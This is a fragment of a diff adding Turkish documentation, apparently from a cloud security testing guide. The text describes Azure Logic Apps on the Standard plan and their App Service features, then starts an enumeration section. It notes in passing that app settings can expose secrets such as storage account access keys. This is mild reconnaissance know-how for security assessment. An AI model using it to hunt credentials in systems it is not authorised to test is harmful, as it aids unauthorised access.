+ +## Logic Apps / Standart Plan + +### "Tek" İş Akışları ile Farklar + +Logic apps temelde arka planda bir App Service kullanarak **birden fazla iş akışını barındırabilen bir logic app'i barındırır**. Bu, logic app'in bir App Service'in ve "Tek" İş Akışlarının tüm özelliklerine sahip olacağı anlamına gelir. + +Bazı anahtar özellikler şunlardır: + +- **App Service Plan**: Standart plandaki Logic Apps, bir App Service Plan üzerinde barındırılır, bu nedenle aşağıdaki gibi tüm App Service özelliklerini kullanmak mümkündür: +- **Ağ Kısıtlamaları**: Nereden erişilebileceğini belirtir. +- **Dağıtım Merkezi**: Github, Bitbucket, Azure Repos, Dış Git ve Yerel Git gibi dış platformlardan dağıtım yapma. +- **FTP erişimi**: Logic App'in dosyalarına FTP üzerinden erişmek mümkündür. +- **Depolama Hesabı**: Servis uygulaması, bilgileri depolamak için bir depolama hesabı kullanır. +- **Env değişkenleri & Uygulama Ayarları**: Çevresel değişkenleri ve uygulama ayarlarını yapılandırmak mümkündür (ve depolama hesabına erişim anahtarları gibi hassas bilgileri bulmak mümkündür). +- ... +- **Parametreler**: Parametreler, geliştirme, test ve üretim arasında değişen değerleri yönetmenizi sağlar. Bu, iş akışlarını önce tasarlamanıza, ardından çevreye özgü ayarları kolayca ayarlamanıza olanak tanır. +- **Ayrı Kaynaklar**: Standart plandaki Logic Apps, ayrı kaynaklara sahiptir. +- **Birden Fazla İş Akışı**: Birden fazla iş akışı oluşturmayı sağlar. + +App Services hakkında daha fazla bilgi için kontrol edin: + +{{#ref}} +../az-services/az-app-services.md +{{#endref}} + + +### Sayım {{#tabs }} {{#tab name="az cli" }} @@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "